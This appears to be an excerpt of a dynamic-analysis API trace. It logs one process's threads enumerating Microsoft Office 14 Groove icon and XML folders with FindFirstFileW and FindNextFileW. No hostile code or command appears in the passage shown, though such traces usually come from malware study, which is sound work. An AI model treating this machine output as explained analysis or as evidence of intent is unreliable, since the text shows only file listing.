(in: _Dest=0x202afa00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons" [0101.042] wcscat (in: _Dest=0x202afa00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0101.042] wcscat (in: _Dest=0x202afa00, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*" [0101.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57190 [0101.042] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*", lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cd90 [0102.467] wcscmp (_String1=".", _String2=".") returned 0 [0102.467] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.470] wcscmp (_String1="..", _String2=".") returned 1 [0102.470] wcscmp (_String1="..", _String2="..") returned 0 [0102.470] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALERT.ICO", cAlternateFileName="")) returned 1 [0102.470] wcscmp (_String1="ALERT.ICO", _String2=".") returned 1 [0102.470] wcscmp (_String1="ALERT.ICO", _String2="..") returned 1 [0102.470] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHEVRON.ICO", cAlternateFileName="")) returned 1 [0102.470] wcscmp (_String1="CHEVRON.ICO", _String2=".") returned 1 [0102.470] wcscmp (_String1="CHEVRON.ICO", _String2="..") returned 1 [0102.470] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPUTER.ICO", cAlternateFileName="")) returned 1 [0102.470] wcscmp (_String1="COMPUTER.ICO", _String2=".") returned 1 [0102.470] wcscmp (_String1="COMPUTER.ICO", _String2="..") returned 1 [0102.470] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604b3070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xea6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactSelector.ico", cAlternateFileName="CONTAC~1.ICO")) returned 1 [0102.470] wcscmp (_String1="ContactSelector.ico", _String2=".") returned 1 [0102.471] wcscmp (_String1="ContactSelector.ico", _String2="..") returned 1 [0102.471] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e764200, ftCreationTime.dwHighDateTime=0x1c9ff6c, ftLastAccessTime.dwLowDateTime=0x52a4cdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e764200, ftLastWriteTime.dwHighDateTime=0x1c9ff6c, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gfserrorfromgroove.ico", cAlternateFileName="GFSERR~1.ICO")) returned 1 [0102.471] wcscmp (_String1="gfserrorfromgroove.ico", _String2=".") returned 1 [0102.471] wcscmp (_String1="gfserrorfromgroove.ico", _String2="..") returned 1 [0102.471] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78806100, ftCreationTime.dwHighDateTime=0x1c9ff6c, ftLastAccessTime.dwLowDateTime=0x52a4cdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78806100, ftLastWriteTime.dwHighDateTime=0x1c9ff6c, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gfserrortogroove.ico", cAlternateFileName="GFSERR~2.ICO")) returned 1 [0102.471] wcscmp (_String1="gfserrortogroove.ico", _String2=".") returned 1 [0102.471] wcscmp (_String1="gfserrortogroove.ico", _String2="..") returned 1 [0102.471] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddee4300, ftCreationTime.dwHighDateTime=0x1c9dff9, ftLastAccessTime.dwLowDateTime=0x537fcc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xddee4300, ftLastWriteTime.dwHighDateTime=0x1c9dff9, nFileSizeHigh=0x0, nFileSizeLow=0x294dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GWE.ICO", cAlternateFileName="")) returned 1 [0102.471] wcscmp (_String1="GWE.ICO", _String2=".") returned 1 [0102.471] wcscmp (_String1="GWE.ICO", _String2="..") returned 1 [0102.471] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe103100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe103100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INCOMING.ICO", cAlternateFileName="")) returned 1 [0102.471] wcscmp (_String1="INCOMING.ICO", _String2=".") returned 1 [0102.471] wcscmp (_String1="INCOMING.ICO", _String2="..") returned 1 [0102.471] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe103100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe103100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDOMAIN.ICO", cAlternateFileName="")) returned 1 [0102.471] wcscmp (_String1="INDOMAIN.ICO", _String2=".") returned 1 [0102.471] wcscmp (_String1="INDOMAIN.ICO", _String2="..") returned 1 [0102.471] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAIL.ICO", cAlternateFileName="")) returned 1 [0102.471] wcscmp (_String1="MAIL.ICO", _String2=".") returned 1 [0102.471] wcscmp (_String1="MAIL.ICO", _String2="..") returned 1 [0102.471] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANUAL.ICO", cAlternateFileName="")) returned 1 [0102.471] wcscmp (_String1="MANUAL.ICO", _String2=".") returned 1 [0102.471] wcscmp (_String1="MANUAL.ICO", _String2="..") returned 1 [0102.471] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxalert.ico", cAlternateFileName="MESSAG~2.ICO")) returned 1 [0102.471] wcscmp (_String1="messageboxalert.ico", _String2=".") returned 1 [0102.471] wcscmp (_String1="messageboxalert.ico", _String2="..") returned 1 [0102.471] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxerror.ico", cAlternateFileName="MESSAG~1.ICO")) returned 1 [0102.472] wcscmp (_String1="messageboxerror.ico", _String2=".") returned 1 [0102.472] wcscmp (_String1="messageboxerror.ico", _String2="..") returned 1 [0102.472] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxinfo.ico", cAlternateFileName="MESSAG~3.ICO")) returned 1 [0102.472] wcscmp (_String1="messageboxinfo.ico", _String2=".") returned 1 [0102.472] wcscmp (_String1="messageboxinfo.ico", _String2="..") returned 1 [0102.472] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1608e400, ftCreationTime.dwHighDateTime=0x1ca03f6, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1608e400, ftLastWriteTime.dwHighDateTime=0x1ca03f6, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ModifiedTelespace.ico", cAlternateFileName="MODIFI~1.ICO")) returned 1 [0102.472] wcscmp (_String1="ModifiedTelespace.ico", _String2=".") returned 1 [0102.472] wcscmp (_String1="ModifiedTelespace.ico", _String2="..") returned 1 [0102.472] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x596e79b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFLINE.ICO", cAlternateFileName="")) returned 1 [0102.472] wcscmp (_String1="OFFLINE.ICO", _String2=".") returned 1 [0102.472] wcscmp (_String1="OFFLINE.ICO", _String2="..") returned 1 [0102.472] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONLINE.ICO", cAlternateFileName="")) returned 1 [0102.472] wcscmp (_String1="ONLINE.ICO", _String2=".") returned 1 [0102.472] wcscmp (_String1="ONLINE.ICO", _String2="..") returned 1 [0102.472] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6bf68e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnLineBusy.ico", cAlternateFileName="ONLINE~2.ICO")) returned 1 [0102.472] wcscmp (_String1="OnLineBusy.ico", _String2=".") returned 1 [0102.472] wcscmp (_String1="OnLineBusy.ico", _String2="..") returned 1 [0102.472] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnLineIdle.ico", cAlternateFileName="ONLINE~1.ICO")) returned 1 [0102.472] wcscmp (_String1="OnLineIdle.ico", _String2=".") returned 1 [0102.472] wcscmp (_String1="OnLineIdle.ico", _String2="..") returned 1 [0102.472] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutDomain.ico", cAlternateFileName="OUTDOM~1.ICO")) returned 1 [0102.472] wcscmp (_String1="OutDomain.ico", _String2=".") returned 1 [0102.472] wcscmp (_String1="OutDomain.ico", _String2="..") returned 1 [0102.472] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTGOING.ICO", cAlternateFileName="")) returned 1 [0102.472] wcscmp (_String1="OUTGOING.ICO", _String2=".") returned 1 [0102.473] wcscmp (_String1="OUTGOING.ICO", _String2="..") returned 1 [0102.473] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutSyncPC.ico", cAlternateFileName="OUTSYN~1.ICO")) returned 1 [0102.473] wcscmp (_String1="OutSyncPC.ico", _String2=".") returned 1 [0102.473] wcscmp (_String1="OutSyncPC.ico", _String2="..") returned 1 [0102.473] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cdd7370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PersonalContact.ico", cAlternateFileName="PERSON~1.ICO")) returned 1 [0102.473] wcscmp (_String1="PersonalContact.ico", _String2=".") returned 1 [0102.473] wcscmp (_String1="PersonalContact.ico", _String2="..") returned 1 [0102.473] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SessionMember.ico", cAlternateFileName="SESSIO~1.ICO")) returned 1 [0102.473] wcscmp (_String1="SessionMember.ico", _String2=".") returned 1 [0102.473] wcscmp (_String1="SessionMember.ico", _String2="..") returned 1 [0102.473] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SessionOwner.ico", cAlternateFileName="SESSIO~2.ICO")) returned 1 [0102.473] wcscmp (_String1="SessionOwner.ico", _String2=".") returned 1 [0102.473] wcscmp (_String1="SessionOwner.ico", _String2="..") returned 1 [0102.473] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpaceSelector.ico", cAlternateFileName="SPACES~1.ICO")) returned 1 [0102.473] wcscmp (_String1="SpaceSelector.ico", _String2=".") returned 1 [0102.473] wcscmp (_String1="SpaceSelector.ico", _String2="..") returned 1 [0102.473] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusAway.ico", cAlternateFileName="STATUS~1.ICO")) returned 1 [0102.473] wcscmp (_String1="StatusAway.ico", _String2=".") returned 1 [0102.473] wcscmp (_String1="StatusAway.ico", _String2="..") returned 1 [0102.473] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusDoNotDisturb.ico", cAlternateFileName="STATUS~2.ICO")) returned 1 [0102.473] wcscmp (_String1="StatusDoNotDisturb.ico", _String2=".") returned 1 [0102.473] wcscmp (_String1="StatusDoNotDisturb.ico", _String2="..") returned 1 [0102.473] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusOnline.ico", cAlternateFileName="STATUS~3.ICO")) returned 1 [0102.473] wcscmp (_String1="StatusOnline.ico", _String2=".") returned 1 [0102.473] wcscmp (_String1="StatusOnline.ico", _String2="..") returned 1 [0102.473] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="TOOLICON.ICO", cAlternateFileName="")) returned 1 [0102.474] wcscmp (_String1="TOOLICON.ICO", _String2=".") returned 1 [0102.474] wcscmp (_String1="TOOLICON.ICO", _String2="..") returned 1 [0102.474] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d4e500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2d4e500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2366, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS.ICO", cAlternateFileName="")) returned 1 [0102.474] wcscmp (_String1="WSS.ICO", _String2=".") returned 1 [0102.474] wcscmp (_String1="WSS.ICO", _String2="..") returned 1 [0102.474] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430b200, ftCreationTime.dwHighDateTime=0x1c9d442, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x430b200, ftLastWriteTime.dwHighDateTime=0x1c9d442, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS_DocLib.ico", cAlternateFileName="WSS_DO~1.ICO")) returned 1 [0102.474] wcscmp (_String1="WSS_DocLib.ico", _String2=".") returned 1 [0102.474] wcscmp (_String1="WSS_DocLib.ico", _String2="..") returned 1 [0102.474] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57190 | out: lpFindFileData=0x1ce57190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430b200, ftCreationTime.dwHighDateTime=0x1c9d442, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x430b200, ftLastWriteTime.dwHighDateTime=0x1c9d442, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS_DocLib.ico", cAlternateFileName="WSS_DO~1.ICO")) returned 0 [0102.474] FindClose (in: hFindFile=0x1cd9cd90 | out: hFindFile=0x1cd9cd90) returned 1 [0102.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57190) returned 1 [0102.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afa00) returned 1 [0102.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 Thread: id = 866 os_tid = 0x1430 [0101.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202afa90 [0101.044] wcscpy (in: _Dest=0x202afa90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" [0101.044] wcscat (in: _Dest=0x202afa90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\" 